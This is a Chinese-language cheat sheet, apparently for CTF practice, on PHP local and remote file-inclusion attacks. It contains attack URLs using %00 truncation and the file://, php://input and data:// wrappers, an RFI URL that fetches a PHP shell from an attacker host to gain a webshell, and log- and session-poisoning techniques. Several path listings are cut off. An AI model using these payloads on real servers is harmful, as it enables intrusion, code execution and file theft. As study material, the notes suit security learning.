文件包含
文件包含
¶定义
传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
¶危险函数(漏洞来源)
- include()
- include_once()
- require()
- require_once()
¶包含分类
allow_url_include = on allow_url_fopen = on
php5.2后allow_url_include默认为off allow_url_include开启就可能有远程文件包含
¶本地文件包含(LFI)
¶直接包含有flag的文件
原url:http://www.example.com/demo.php
在url后加上?file=flag.php%00
代码相当于include '/home/www/flag.php%00.php'
,而%00是截断符,后面的.php被截断
¶php伪协议
file://
访问本地文件系统
用法:file://文件绝对路径和文件名
php.ini里两个配置是否打开都可以使用
./index.php?file=file://D:/phpstudy/www/flag.txt |
php://filter
读取网页源代码
用法:读取网页源代码
条件:同file://
// url后出现?file=的时候就可以尝试读取源代码, 但是假如我们并没有绝对路径, 则无法使用 |
假如没有进行base64编码就会被当成php执行
php://input
将post请求中的数据作为php代码执行
条件:allow_url_include=on
http://127.0.0.1/include/index.php?page=php://input |
data://
向服务器输入数据让服务器执行
需要allow_url_fopen
,allow_url_include
均为on
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> |
dict://
一般都出现在ssrf协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击
探测端口指纹 |
gopher://
协议经常用来打内网的各种应用mysql redis等。
一般要用一些工具来进行构造payload 如gopherus等
zip://
访问服务器中的压缩包
zip://协议可以用来访问服务器中的压缩包,无论压缩包里面的文件是什么类型的都可以执行
phar://
它也可以访问zip包,访问的格式与zip的不同
http://127.0.0.1/include.php? |
¶远程文件包含(RFI)
第三方服务器上可运行的PHP木马,拿到webshell查看flag。 php.ini两个都是开启状态
./demo.php?param=http://www.xx.com/attacker/PHPshell.txt |
¶利用
¶读取源代码/敏感文件
Windows: |
¶Apache日志文件包含
用户发起请求,请求会写入access.log, 发生错误会写入error.log
Windows+Apache: |
¶IIS日志文件
Windows+IIS6 |
¶Nginx日志文件
安装目录相关: |
¶SSH日志文件
用户名写成木马, 就可以了
¶session文件包含
路径可以通过phpinfo获取,是session.save_path
参数
常见路径: |
构造恶意session,然后获取session文件名,连接即可
基本上和php绑定了